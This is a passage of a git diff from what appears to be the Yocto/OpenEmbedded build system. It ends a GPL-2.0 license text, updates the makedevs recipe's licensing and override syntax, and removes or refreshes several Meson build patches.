-+Software Foundation, write to the Free Software Foundation; we sometimes
-+make exceptions for this. Our decision will be guided by the two goals
-+of preserving the free status of all derivatives of our free software and
-+of promoting the sharing and reuse of software generally.
-+
-+ NO WARRANTY
-+
-+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
-+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
-+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
-+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-+REPAIR OR CORRECTION.
-+
-+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-+POSSIBILITY OF SUCH DAMAGES.
-+
-+ END OF TERMS AND CONDITIONS
-+
-+ How to Apply These Terms to Your New Programs
-+
-+ If you develop a new program, and you want it to be of the greatest
-+possible use to the public, the best way to achieve this is to make it
-+free software which everyone can redistribute and change under these terms.
-+
-+ To do so, attach the following notices to the program. It is safest
-+to attach them to the start of each source file to most effectively
-+convey the exclusion of warranty; and each file should have at least
-+the "copyright" line and a pointer to where the full notice is found.
-+
-+ <one line to give the program's name and a brief idea of what it does.>
-+ Copyright (C) <year> <name of author>
-+
-+ This program is free software; you can redistribute it and/or modify
-+ it under the terms of the GNU General Public License as published by
-+ the Free Software Foundation; either version 2 of the License, or
-+ (at your option) any later version.
-+
-+ This program is distributed in the hope that it will be useful,
-+ but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-+ GNU General Public License for more details.
-+
-+ You should have received a copy of the GNU General Public License
-+ along with this program; if not, write to the Free Software
-+ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
-+
-+
-+Also add information on how to contact you by electronic and paper mail.
-+
-+If the program is interactive, make it output a short notice like this
-+when it starts in an interactive mode:
-+
-+ Gnomovision version 69, Copyright (C) year name of author
-+ Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-+ This is free software, and you are welcome to redistribute it
-+ under certain conditions; type `show c' for details.
-+
-+The hypothetical commands `show w' and `show c' should show the appropriate
-+parts of the General Public License. Of course, the commands you use may
-+be called something other than `show w' and `show c'; they could even be
-+mouse-clicks or menu items--whatever suits your program.
-+
-+You should also get your employer (if you work as a programmer) or your
-+school, if any, to sign a "copyright disclaimer" for the program, if
-+necessary. Here is a sample; alter the names:
-+
-+ Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-+ `Gnomovision' (which makes passes at compilers) written by James Hacker.
-+
-+ <signature of Ty Coon>, 1 April 1989
-+ Ty Coon, President of Vice
-+
-+This General Public License does not permit incorporating your program into
-+proprietary programs. If your program is a subroutine library, you may
-+consider it more useful to permit linking proprietary applications with the
-+library. If this is what you want to do, use the GNU Library General
-+Public License instead of this License.
diff --git a/meta/recipes-devtools/makedevs/makedevs/makedevs.c b/meta/recipes-devtools/makedevs/makedevs/makedevs.c
index 32b9872932..df2e3cfad5 100644
--- a/meta/recipes-devtools/makedevs/makedevs/makedevs.c
+++ b/meta/recipes-devtools/makedevs/makedevs/makedevs.c
@@ -1,3 +1,7 @@
+/*
+ * SPDX-License-Identifier: GPL-2.0-only
+ */
+
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
diff --git a/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb b/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
index 92d5870f42..0d6c7a01eb 100644
--- a/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
+++ b/meta/recipes-devtools/makedevs/makedevs_1.0.1.bb
@@ -1,13 +1,13 @@
SUMMARY = "Tool for creating device nodes"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=393a5ca445f6965873eca0259a17f833"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://makedevs.c;beginline=2;endline=2;md5=c3817b10013a30076c68a90e40a55570"
SECTION = "base"
-SRC_URI = "file://makedevs.c \
- file://COPYING.patch"
+SRC_URI = "file://makedevs.c"
S = "${WORKDIR}"
-FILES_${PN}_append_class-nativesdk = " ${datadir}"
+FILES:${PN}:append:class-nativesdk = " ${datadir}"
do_compile() {
${CC} ${CFLAGS} ${LDFLAGS} -o ${S}/makedevs ${S}/makedevs.c
@@ -18,7 +18,7 @@ do_install() {
install -m 0755 ${S}/makedevs ${D}${base_sbindir}/makedevs
}
-do_install_append_class-nativesdk() {
+do_install:append:class-nativesdk() {
install -d ${D}${datadir}
install -m 644 ${COREBASE}/meta/files/device_table-minimal.txt ${D}${datadir}/
}
diff --git a/meta/recipes-devtools/meson/meson.inc b/meta/recipes-devtools/meson/meson.inc
deleted file mode 100644
index 607093a152..0000000000
--- a/meta/recipes-devtools/meson/meson.inc
+++ /dev/null
@@ -1,33 +0,0 @@
-HOMEPAGE = "http://mesonbuild.com"
-SUMMARY = "A high performance build system"
-DESCRIPTION = "Meson is a build system designed to increase programmer \
-productivity. It does this by providing a fast, simple and easy to use \
-interface for modern software development tools and practices."
-
-LICENSE = "Apache-2.0"
-LIC_FILES_CHKSUM = "file://COPYING;md5=3b83ef96387f14655fc854ddc3c6bd57"
-
-SRC_URI = "https://github.com/mesonbuild/meson/releases/download/${PV}/meson-${PV}.tar.gz \
- file://0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch \
- file://0003-native_bindir.patch \
- file://0001-python-module-do-not-manipulate-the-environment-when.patch \
- file://disable-rpath-handling.patch \
- file://cross-prop-default.patch \
- file://0001-modules-python.py-do-not-substitute-python-s-install.patch \
- file://0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch \
- "
-SRC_URI[sha256sum] = "0a1ae2bfe2ae14ac47593537f93290fb79e9b775c55b4c53c282bc3ca3745b35"
-
-SRC_URI_append_class-native = " \
- file://0001-Make-CPU-family-warnings-fatal.patch \
- file://0002-Support-building-allarch-recipes-again.patch \
-"
-
-UPSTREAM_CHECK_URI = "https://github.com/mesonbuild/meson/releases"
-UPSTREAM_CHECK_REGEX = "meson-(?P<pver>\d+(\.\d+)+)\.tar"
-
-inherit setuptools3
-
-RDEPENDS_${PN} = "ninja python3-modules python3-pkg-resources"
-
-FILES_${PN} += "${datadir}/polkit-1"
diff --git a/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch b/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
index ceb2fde342..8ea7c35950 100644
--- a/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
+++ b/meta/recipes-devtools/meson/meson/0001-Make-CPU-family-warnings-fatal.patch
@@ -1,44 +1,45 @@
-From 5624b5835af747b601780ad14646f9c1fb854931 Mon Sep 17 00:00:00 2001
+From b77cbe67df5fa0998946503f207c256ee740bb5f Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Tue, 3 Jul 2018 13:59:09 +0100
-Subject: [PATCH 1/2] Make CPU family warnings fatal
+Subject: [PATCH] Make CPU family warnings fatal
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
- mesonbuild/envconfig.py | 2 +-
- mesonbuild/environment.py | 4 +---
- 2 files changed, 2 insertions(+), 4 deletions(-)
+ mesonbuild/envconfig.py | 4 ++--
+ mesonbuild/environment.py | 6 ++----
+ 2 files changed, 4 insertions(+), 6 deletions(-)
diff --git a/mesonbuild/envconfig.py b/mesonbuild/envconfig.py
-index 219b62e..d1be65b 100644
+index 07f1229..a35c356 100644
--- a/mesonbuild/envconfig.py
+++ b/mesonbuild/envconfig.py
-@@ -199,7 +199,7 @@ class MachineInfo:
+@@ -285,8 +285,8 @@ class MachineInfo(HoldableObject):
+ 'but is missing {}.'.format(minimum_literal - set(literal)))
cpu_family = literal['cpu_family']
- if cpu_family not in known_cpu_families:
-- mlog.warning('Unknown CPU family {}, please report this at https://github.com/mesonbuild/meson/issues/new'.format(cpu_family))
+- if cpu_family not in known_cpu_families:
+- mlog.warning(f'Unknown CPU family {cpu_family}, please report this at https://github.com/mesonbuild/meson/issues/new')
++ if cpu_family not in known_cpu_families and cpu_family != "riscv":
+ raise EnvironmentException('Unknown CPU family {}, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.'.format(cpu_family))
endian = literal['endian']
if endian not in ('little', 'big'):
diff --git a/mesonbuild/environment.py b/mesonbuild/environment.py
-index bf09a88..8eabe78 100644
+index 2ba2054..d798e3b 100644
--- a/mesonbuild/environment.py
+++ b/mesonbuild/environment.py
-@@ -375,9 +375,7 @@ def detect_cpu_family(compilers: CompilersDict) -> str:
- trial = 'parisc'
+@@ -359,10 +359,8 @@ def detect_cpu_family(compilers: CompilersDict) -> str:
+ if compilers and not any_compiler_has_define(compilers, '__mips64'):
+ trial = 'mips'
- if trial not in known_cpu_families:
-- mlog.warning('Unknown CPU family {!r}, please report this at '
+- if trial not in known_cpu_families:
+- mlog.warning(f'Unknown CPU family {trial!r}, please report this at '
- 'https://github.com/mesonbuild/meson/issues/new with the '
-- 'output of `uname -a` and `cat /proc/cpuinfo`'.format(trial))
+- 'output of `uname -a` and `cat /proc/cpuinfo`')
++ if trial not in known_cpu_families and trail != "riscv":
+ raise EnvironmentException('Unknown CPU family %s, see https://wiki.yoctoproject.org/wiki/Meson/UnknownCPU for directions.' % trial)
return trial
---
-2.24.0
-
diff --git a/meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch b/meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch
deleted file mode 100644
index a1f8422d44..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-gnome.py-prefix-g-i-paths-with-PKG_CONFIG_SYSROOT_DI.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 64aa6718c290e150dafd8da83f31cb08af00af0e Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 27 May 2020 16:43:05 +0000
-Subject: [PATCH] gnome.py: prefix g-i paths with PKG_CONFIG_SYSROOT_DIR
-
-When using sysroots for builds, the standard target paths for the
-tools need to be prefixed (pkg-config is not clever enough to
-determine when a custom variable is a path)
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/gnome.py | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/mesonbuild/modules/gnome.py b/mesonbuild/modules/gnome.py
-index 52016f4..2b72ee4 100644
---- a/mesonbuild/modules/gnome.py
-+++ b/mesonbuild/modules/gnome.py
-@@ -410,14 +410,14 @@ class GnomeModule(ExtensionModule):
- if giscanner is not None:
- self.giscanner = ExternalProgram.from_entry('g-ir-scanner', giscanner)
- elif self.gir_dep.type_name == 'pkgconfig':
-- self.giscanner = ExternalProgram('g_ir_scanner', self.gir_dep.get_pkgconfig_variable('g_ir_scanner', {}))
-+ self.giscanner = ExternalProgram('g_ir_scanner', os.environ['PKG_CONFIG_SYSROOT_DIR'] + self.gir_dep.get_pkgconfig_variable('g_ir_scanner', {}))
- else:
- self.giscanner = self.interpreter.find_program_impl('g-ir-scanner')
- gicompiler = state.environment.lookup_binary_entry(MachineChoice.HOST, 'g-ir-compiler')
- if gicompiler is not None:
- self.gicompiler = ExternalProgram.from_entry('g-ir-compiler', gicompiler)
- elif self.gir_dep.type_name == 'pkgconfig':
-- self.gicompiler = ExternalProgram('g_ir_compiler', self.gir_dep.get_pkgconfig_variable('g_ir_compiler', {}))
-+ self.gicompiler = ExternalProgram('g_ir_compiler', os.environ['PKG_CONFIG_SYSROOT_DIR'] + self.gir_dep.get_pkgconfig_variable('g_ir_compiler', {}))
- else:
- self.gicompiler = self.interpreter.find_program_impl('g-ir-compiler')
- return self.gir_dep, self.giscanner, self.gicompiler
diff --git a/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch b/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
deleted file mode 100644
index 471f1500da..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-gtkdoc-fix-issues-that-arise-when-cross-compiling.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From d3ef01a4208a801acad380a4aaceb6a21f8fa603 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 4 Aug 2017 16:16:41 +0300
-Subject: [PATCH] gtkdoc: fix issues that arise when cross-compiling
-
-Specifically:
-1) Make it possible to specify a wrapper for executing binaries
-(usually, some kind of target hardware emulator, such as qemu)
-2) Explicitly provide CC and LD via command line, as otherwise gtk-doc will
-try to guess them, incorrectly.
-3) If things break down, print the full command with arguments,
-not just the binary name.
-4) Correctly determine the compiler/linker executables and cross-options when cross-compiling
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/gnome.py | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/mesonbuild/modules/gnome.py b/mesonbuild/modules/gnome.py
-index bcf77b9..6a4b472 100644
---- a/mesonbuild/modules/gnome.py
-+++ b/mesonbuild/modules/gnome.py
-@@ -974,6 +974,10 @@ This will become a hard error in the future.''')
- args.append('--{}={}'.format(program_name, path))
- if namespace:
- args.append('--namespace=' + namespace)
-+ gtkdoc_exe_wrapper = state.environment.properties.host.get('gtkdoc_exe_wrapper', None)
-+ if gtkdoc_exe_wrapper is not None:
-+ args.append('--run=' + gtkdoc_exe_wrapper)
-+
- args += self._unpack_args('--htmlargs=', 'html_args', kwargs)
- args += self._unpack_args('--scanargs=', 'scan_args', kwargs)
- args += self._unpack_args('--scanobjsargs=', 'scanobjs_args', kwargs)
diff --git a/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch b/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch
deleted file mode 100644
index c0ad01e9d3..0000000000
--- a/meta/recipes-devtools/meson/meson/0001-modules-python.py-do-not-substitute-python-s-install.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From 214e559d394491b1376e4cc370f75151117a3f83 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 18 Apr 2019 17:36:11 +0200
-Subject: [PATCH] modules/python.py: do not substitute python's install prefix
- with meson's
-
-Not sure why this is being done, but it
-a) relies on Python's internal variable substitution which may break in the future
-b) shouldn't be necessary as Python's prefix ought to be correct in the first place
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- mesonbuild/modules/python.py | 7 +++----
- 1 file changed, 3 insertions(+), 4 deletions(-)
-
-diff --git a/mesonbuild/modules/python.py b/mesonbuild/modules/python.py
-index 2f0c644..d2aa565 100644
---- a/mesonbuild/modules/python.py
-+++ b/mesonbuild/modules/python.py
-@@ -251,7 +251,7 @@ INTROSPECT_COMMAND = '''import sysconfig
- import json
- import sys
-
--install_paths = sysconfig.get_paths(scheme='posix_prefix', vars={'base': '', 'platbase': '', 'installed_base': ''})
-+install_paths = sysconfig.get_paths(scheme='posix_prefix')
-
- def links_against_libpython():
- from distutils.core import Distribution, Extension
-@@ -276,12 +276,11 @@ class PythonInstallation(ExternalProgramHolder):
- ExternalProgramHolder.__init__(self, python, interpreter.subproject)
- self.interpreter = interpreter
- self.subproject = self.interpreter.subproject
-- prefix = self.interpreter.environment.coredata.get_builtin_option('prefix')
- self.variables = info['variables']
- self.paths = info['paths']
- install_paths = info['install_paths']
-- self.platlib_install_path = os.path.join(prefix, install_paths['platlib'][1:])
-- self.purelib_install_path = os.path.join(prefix, install_paths['purelib'][1:])
-+ self.platlib_install_path = install_paths['platlib']
-+ self.purelib_install_path = install_paths['purelib']
- self.version = info['version']
- self.platform = info['platform']
- self.is_pypy = info['is_pypy']
diff --git a/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch b/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
index eb0e90dbdd..2e0a4b1bbe 100644
--- a/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
+++ b/meta/recipes-devtools/meson/meson/0001-python-module-do-not-manipulate-the-environment-when.patch
@@ -1,4 +1,4 @@
-From 689e28c49b85311f93f39df70cbee702fc44afb6 Mon Sep 17 00:00:00 2001
+From e85683698aa3556bf14fc6d35f2c067f16af520b Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 19 Nov 2018 14:24:26 +0100
Subject: [PATCH] python module: do not manipulate the environment when calling
@@ -8,36 +8,30 @@ Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- mesonbuild/modules/python.py | 12 ------------
- 1 file changed, 12 deletions(-)
+ mesonbuild/dependencies/python.py | 6 +-----
+ 1 file changed, 1 insertion(+), 5 deletions(-)
-diff --git a/mesonbuild/modules/python.py b/mesonbuild/modules/python.py
-index 07be318..b770603 100644
---- a/mesonbuild/modules/python.py
-+++ b/mesonbuild/modules/python.py
-@@ -71,11 +71,6 @@ class PythonDependency(ExternalDependency):
- old_pkg_libdir = os.environ.get('PKG_CONFIG_LIBDIR')
- old_pkg_path = os.environ.get('PKG_CONFIG_PATH')
+diff --git a/mesonbuild/dependencies/python.py b/mesonbuild/dependencies/python.py
+index 9aea6bd..8c13ede 100644
+--- a/mesonbuild/dependencies/python.py
++++ b/mesonbuild/dependencies/python.py
+@@ -380,9 +380,6 @@ def python_factory(env: 'Environment', for_machine: 'MachineChoice',
+ empty.name = 'python'
+ return empty
-- os.environ.pop('PKG_CONFIG_PATH', None)
--
-- if pkg_libdir:
-- os.environ['PKG_CONFIG_LIBDIR'] = pkg_libdir
--
+- old_pkg_libdir = os.environ.pop('PKG_CONFIG_LIBDIR', None)
+- old_pkg_path = os.environ.pop('PKG_CONFIG_PATH', None)
+- os.environ['PKG_CONFIG_LIBDIR'] = pkg_libdir
try:
- self.pkgdep = PkgConfigDependency(pkg_name, environment, kwargs)
- mlog.debug('Found "{}" via pkgconfig lookup in LIBPC ({})'.format(pkg_name, pkg_libdir))
-@@ -84,13 +79,6 @@ class PythonDependency(ExternalDependency):
- mlog.debug('"{}" could not be found in LIBPC ({})'.format(pkg_name, pkg_libdir))
- mlog.debug(e)
-
-- if old_pkg_path is not None:
-- os.environ['PKG_CONFIG_PATH'] = old_pkg_path
--
-- if old_pkg_libdir is not None:
-- os.environ['PKG_CONFIG_LIBDIR'] = old_pkg_libdir
-- else:
-- os.environ.pop('PKG_CONFIG_LIBDIR', None)
- else:
- mlog.debug('"{}" could not be found in LIBPC ({}), this is likely due to a relocated python installation'.format(pkg_name, pkg_libdir))
+ return PythonPkgConfigDependency(name, env, kwargs, installation, True)
+ finally:
+@@ -391,8 +388,7 @@ def python_factory(env: 'Environment', for_machine: 'MachineChoice',
+ os.environ[name] = value
+ elif name in os.environ:
+ del os.environ[name]
+- set_env('PKG_CONFIG_LIBDIR', old_pkg_libdir)
+- set_env('PKG_CONFIG_PATH', old_pkg_path)
++ pass
+ candidates.append(functools.partial(wrap_in_pythons_pc_dir, pkg_name, env, kwargs, installation))
+ # We only need to check both, if a python install has a LIBPC. It might point to the wrong location,
diff --git a/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch b/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
index 7a3b01262e..a8396f30bb 100644
--- a/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
+++ b/meta/recipes-devtools/meson/meson/0002-Support-building-allarch-recipes-again.patch
@@ -1,4 +1,4 @@
-From 4b283d545152092fec12b9d80219161d11002c72 Mon Sep 17 00:00:00 2001
+From 6fb8db54929b40e1fd7ac949ef44f0d37df0bae9 Mon Sep 17 00:00:00 2001
From: Peter Kjellerstedt <pkj@axis.com>
Date: Thu, 26 Jul 2018 16:32:49 +0200
Subject: [PATCH] Support building allarch recipes again
@@ -13,10 +13,10 @@ Signed-off-by: Peter Kjellerstedt <peter.kjellerstedt@axis.com>
1 file changed, 1 insertion(+)
diff --git a/mesonbuild/envconfig.py b/mesonbuild/envconfig.py
-index dc20616..f54adcd 100644
+index a35c356..436355f 100644
--- a/mesonbuild/envconfig.py
+++ b/mesonbuild/envconfig.py
-@@ -36,6 +36,7 @@ _T = T.TypeVar('_T')
+@@ -38,6 +38,7 @@ from pathlib import Path
known_cpu_families = (
diff --git a/meta/recipes-devtools/meson/meson/0003-native_bindir.patch b/meta/recipes-devtools/meson/meson/0003-native_bindir.patch
deleted file mode 100644
index fb119ae852..0000000000
--- a/meta/recipes-devtools/meson/meson/0003-native_bindir.patch
+++ /dev/null
@@ -1,125 +0,0 @@
-From da2091f6dfe978fc6140fc2d01bcafbbfae8d8db Mon Sep 17 00:00:00 2001
-From: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
-Date: Wed, 15 Nov 2017 15:05:01 +0100
-Subject: [PATCH] native_bindir
-
-Some libraries, like QT, have pre-processors that convert their input
-files into something that the cross-compiler can process. We find the
-path of those pre-processors via pkg-config-native instead of
-pkg-config.
-
-This path forces the use of pkg-config-native for host_bins arguments.
-
-There are some discussions upstream to merge this patch, but I presonaly believe
-that is is OE only. https://github.com/mesonbuild/meson/issues/1849#issuecomment-303730323
-
-Upstream-Status: Inappropriate [OE specific]
-Signed-off-by: Ricardo Ribalda Delgado <ricardo.ribalda@gmail.com>
-
----
- mesonbuild/dependencies/base.py | 19 +++++++++++--------
- mesonbuild/dependencies/ui.py | 6 +++---
- 2 files changed, 14 insertions(+), 11 deletions(-)
-
-diff --git a/mesonbuild/dependencies/base.py b/mesonbuild/dependencies/base.py
-index 50f4179..e1529d8 100644
---- a/mesonbuild/dependencies/base.py
-+++ b/mesonbuild/dependencies/base.py
-@@ -157,7 +157,7 @@ class Dependency:
- def get_exe_args(self, compiler):
- return []
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- raise DependencyException('{!r} is not a pkgconfig dependency'.format(self.name))
-
- def get_configtool_variable(self, variable_name):
-@@ -225,7 +225,7 @@ class InternalDependency(Dependency):
- self.ext_deps = ext_deps
- self.variables = variables
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- raise DependencyException('Method "get_pkgconfig_variable()" is '
- 'invalid for an internal dependency')
-
-@@ -633,15 +633,18 @@ class PkgConfigDependency(ExternalDependency):
- return s.format(self.__class__.__name__, self.name, self.is_found,
- self.version_reqs)
-
-- def _call_pkgbin_real(self, args, env):
-- cmd = self.pkgbin.get_command() + args
-+ def _call_pkgbin_real(self, args, env, use_native=False):
-+ if use_native:
-+ cmd = [self.pkgbin.get_command()[0] + "-native"] + args
-+ else:
-+ cmd = self.pkgbin.get_command() + args
- p, out, err = Popen_safe(cmd, env=env)
- rc, out, err = p.returncode, out.strip(), err.strip()
- call = ' '.join(cmd)
- mlog.debug("Called `{}` -> {}\n{}".format(call, rc, out))
- return rc, out, err
-
-- def _call_pkgbin(self, args, env=None):
-+ def _call_pkgbin(self, args, env=None, use_native=False):
- # Always copy the environment since we're going to modify it
- # with pkg-config variables
- if env is None:
-@@ -667,7 +670,7 @@ class PkgConfigDependency(ExternalDependency):
- targs = tuple(args)
- cache = PkgConfigDependency.pkgbin_cache
- if (self.pkgbin, targs, fenv) not in cache:
-- cache[(self.pkgbin, targs, fenv)] = self._call_pkgbin_real(args, env)
-+ cache[(self.pkgbin, targs, fenv)] = self._call_pkgbin_real(args, env, use_native)
- return cache[(self.pkgbin, targs, fenv)]
-
- def _convert_mingw_paths(self, args: T.List[str]) -> T.List[str]:
-@@ -876,7 +879,7 @@ class PkgConfigDependency(ExternalDependency):
- (self.name, out_raw))
- self.link_args, self.raw_link_args = self._search_libs(out, out_raw)
-
-- def get_pkgconfig_variable(self, variable_name, kwargs):
-+ def get_pkgconfig_variable(self, variable_name, kwargs, use_native=False):
- options = ['--variable=' + variable_name, self.name]
-
- if 'define_variable' in kwargs:
-@@ -889,7 +892,7 @@ class PkgConfigDependency(ExternalDependency):
-
- options = ['--define-variable=' + '='.join(definition)] + options
-
-- ret, out, err = self._call_pkgbin(options)
-+ ret, out, err = self._call_pkgbin(options, use_native=use_native)
- variable = ''
- if ret != 0:
- if self.required:
-diff --git a/mesonbuild/dependencies/ui.py b/mesonbuild/dependencies/ui.py
-index 741f0b8..134dd54 100644
---- a/mesonbuild/dependencies/ui.py
-+++ b/mesonbuild/dependencies/ui.py
-@@ -320,7 +320,7 @@ class QtBaseDependency(ExternalDependency):
- self.bindir = self.get_pkgconfig_host_bins(core)
- if not self.bindir:
- # If exec_prefix is not defined, the pkg-config file is broken
-- prefix = core.get_pkgconfig_variable('exec_prefix', {})
-+ prefix = core.get_pkgconfig_variable('exec_prefix', {}, use_native=True)
- if prefix:
- self.bindir = os.path.join(prefix, 'bin')
-
-@@ -524,7 +524,7 @@ class Qt4Dependency(QtBaseDependency):
- applications = ['moc', 'uic', 'rcc', 'lupdate', 'lrelease']
- for application in applications:
- try:
-- return os.path.dirname(core.get_pkgconfig_variable('%s_location' % application, {}))
-+ return os.path.dirname(core.get_pkgconfig_variable('%s_location' % application, {}, use_native=True))
- except MesonException:
- pass
-
-@@ -534,7 +534,7 @@ class Qt5Dependency(QtBaseDependency):
- QtBaseDependency.__init__(self, 'qt5', env, kwargs)
-
- def get_pkgconfig_host_bins(self, core):
-- return core.get_pkgconfig_variable('host_bins', {})
-+ return core.get_pkgconfig_variable('host_bins', {}, use_native=True)
-
- def get_private_includes(self, mod_inc_dir, module):
- return _qt_get_private_includes(mod_inc_dir, module, self.version)
diff --git a/meta/recipes-devtools/meson/meson/cross-prop-default.patch b/meta/recipes-devtools/meson/meson/cross-prop-default.patch
deleted file mode 100644
index 772395e879..0000000000
--- a/meta/recipes-devtools/meson/meson/cross-prop-default.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-meson.build files that use cc.run() in native builds can silently fallback to
-meson.get_cross_property() in cross builds without an exe-wrapper, but there's
-no way to know that this is happening.
-
-As the defaults may be pessimistic (for example, disabling the support for a
-feature that should be enabled) emit a warning when the default is used, so that
-the recipe can explicitly set the cross property as relevant.
-
-Upstream-Status: Submitted [https://github.com/mesonbuild/meson/pull/5071]
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-diff --git a/mesonbuild/interpreter.py b/mesonbuild/interpreter.py
-index 3c3cfae0..10e741ae 100644
---- a/mesonbuild/interpreter.py
-+++ b/mesonbuild/interpreter.py
-@@ -1890,6 +1890,7 @@ class MesonMain(InterpreterObject):
- return props[propname]
- except Exception:
- if len(args) == 2:
-+ mlog.warning('Cross property %s is using default value %s' % (propname, args[1]))
- return args[1]
- raise InterpreterException('Unknown cross property: %s.' % propname)
-
diff --git a/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch b/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
deleted file mode 100644
index 4653a72a20..0000000000
--- a/meta/recipes-devtools/meson/meson/disable-rpath-handling.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From 9e3fcf192c1ca068d310c648c311f9d850214421 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Fri, 23 Nov 2018 15:28:28 +0000
-Subject: [PATCH] meson: Disable rpath stripping at install time
-
-We need to allow our rpaths generated through the compiler flags to make it into
-our binaries. Therefore disable the meson manipulations of these unless there
-is a specific directive to do something differently in the project.
-
-RP 2018/11/23
-
-Upstream-Status: Submitted [https://github.com/mesonbuild/meson/issues/2567]
-
----
- mesonbuild/minstall.py | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/mesonbuild/minstall.py b/mesonbuild/minstall.py
-index 0be01fe..5406cab 100644
---- a/mesonbuild/minstall.py
-+++ b/mesonbuild/minstall.py
-@@ -512,8 +512,11 @@ class Installer:
- if file_copied:
- self.did_install_something = True
- try:
